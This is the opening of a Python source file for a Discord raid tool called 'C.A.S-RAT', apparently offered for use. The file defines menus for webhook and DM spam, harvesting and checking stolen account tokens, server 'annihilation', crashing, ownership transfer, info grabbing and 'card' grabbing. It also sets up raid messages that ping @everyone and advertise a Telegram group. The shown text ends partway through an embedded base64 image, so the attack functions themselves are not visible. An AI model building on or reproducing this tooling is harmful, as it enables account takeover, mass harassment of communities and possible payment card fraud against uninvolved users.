import datetime import requests import json from os import system import os import time cls = lambda: os.system('cls') if os.name == 'nt' else os.system('clear') #Check Update----------------------------------------------+ updateStatus = '' updateSoft = '' currentVersion = '' dataProject = requests.get('https://raw.githubusercontent.com/TheWay-hue/C.A.S-Discord-Tool-v4/master/metadata.json') version1 = (dataProject.json()['Version']) with open('metadata.json', 'r') as f: config = json.load(f) currentVersion = config['Version'] if currentVersion < version1: updateStatus = 'Update the utility using item 18' updateSoft = True else: updateStatus = 'The utility does not need updating' updateSoft = False #Text, Settings, Info----------------------------------------------+ exitMenu = '''\nTo return to the menu, use the combination Ctrl + C.''' webhookMenu = '''\n[1] - Spam for 1 webhook. [2] - Spam webhook from webhooks.txt. [3] - Spam via token with webhook rights. [4] - Get all webhooks from the server. [5] - Delete webhook. [6] - Get webhook info. [7] - Help.''' annihilationMenu = '''\n[1] - Annihilation. [2] - Help.''' spamMenu = '''\n[1] - Spam in 1 chat. [2] - Spam to all chats. [3] - Help.''' scriptMenu = '''\n[1] - Script gen. [2] - Help.''' tokenTrackMenu = '''\n[1] - Check 1 token. [2] - Automatic check and writing to tokens.txt. [3] - Help.''' validationMenu = '''\n[1] - Сheck 1 token. [2] - Check all tokens. [3] - Help.''' leaverMenu = '''\n[1] - Leave 1 token. [2] - Leave all tokens. [3] - Help.''' joinerMenu = '''\n[1] - Join 1 token. [2] - Join all tokens. [3] - Help.''' addMenu = '''\n[1] - Add tokens. [2] - Add webhooks. [3] - Refresh tokens. [4] - Refresh webhooks. [5] - View tokens. [6] - View webhooks. [7] - Help.''' animatorMenu = '''\n[1] - Animate server name. [2] - Animate status. [3] - Animate server nickname. [4] - Animate group name. [5] - Animate channel name. [6] - Animate server user nickname. [7] - Help.''' crashMenu = '''[1] - Crash. [2] - Help.''' ovnMenu = '''\n[1] - Ovnership transpher. [2] - Help.''' infograbMenu = '''\n[1] - Grab info. [2] - Help.''' glitchMenu = '''\n[1] - Glitcher [2] - Help.''' dmSpamMenu = '''\n[1] - DM spam. [2] - Help.''' modeMenu = '''\n[1] - Custom settings. [2] - Default settings.''' menu = '''\nChoose language. [1] - English. [2] - Russian.''' cardMenu = '''\n[1] - Grab card. [2] - Help.''' nameHooks = '''Cyber-Crypto.Anarchy.Squad''' jsonHook = {'name': 'C.A.S-RAT;', 'avatar': None} defaultMessage = '''```| The server is under raid attack in the name of Anarchy. Don't worry, this will end sometime, but for now, please don't interfere with the raid. Your hate will not help in this situation, because your opinion does not matter to Anarchy. Do you want to learn the secrets of anarchy, and become its participant? Or maybe you want to expand your knowledge in this subject? | Then here's our telegram =>``` ```t.me/anarchy_squad``` @everyone''' defaultMessage2 = '```| Welcome to Cyber-Crypto.Anarchy.Squad. This raid is not intended to hurt you in any way, this raid has its own reasons. To stop this, find whoever is the server to send requests to the raid bots. Good luck to you. | Our telegram =>``` ```t.me/anarchy_squad``` @everyone''' dMdefaultText = "```| This user's account has been annihilated | Our telegram =>``` ```t.me/anarchy_squad```" defaultMessage3 = "```| You are being raided | Our telegram =>``` ```t.me/anarchy_squad```" icons = 'https://cdn.discordapp.com/attachments/791394846564679730/829793903178809404/anarchyicon.jpg' statusName = '[ Hacked by C.A.S ]' cc_digits = { 'american express': '3', 'visa': '4', 'mastercard': '5' } icon = ("data:image/jpeg;base64,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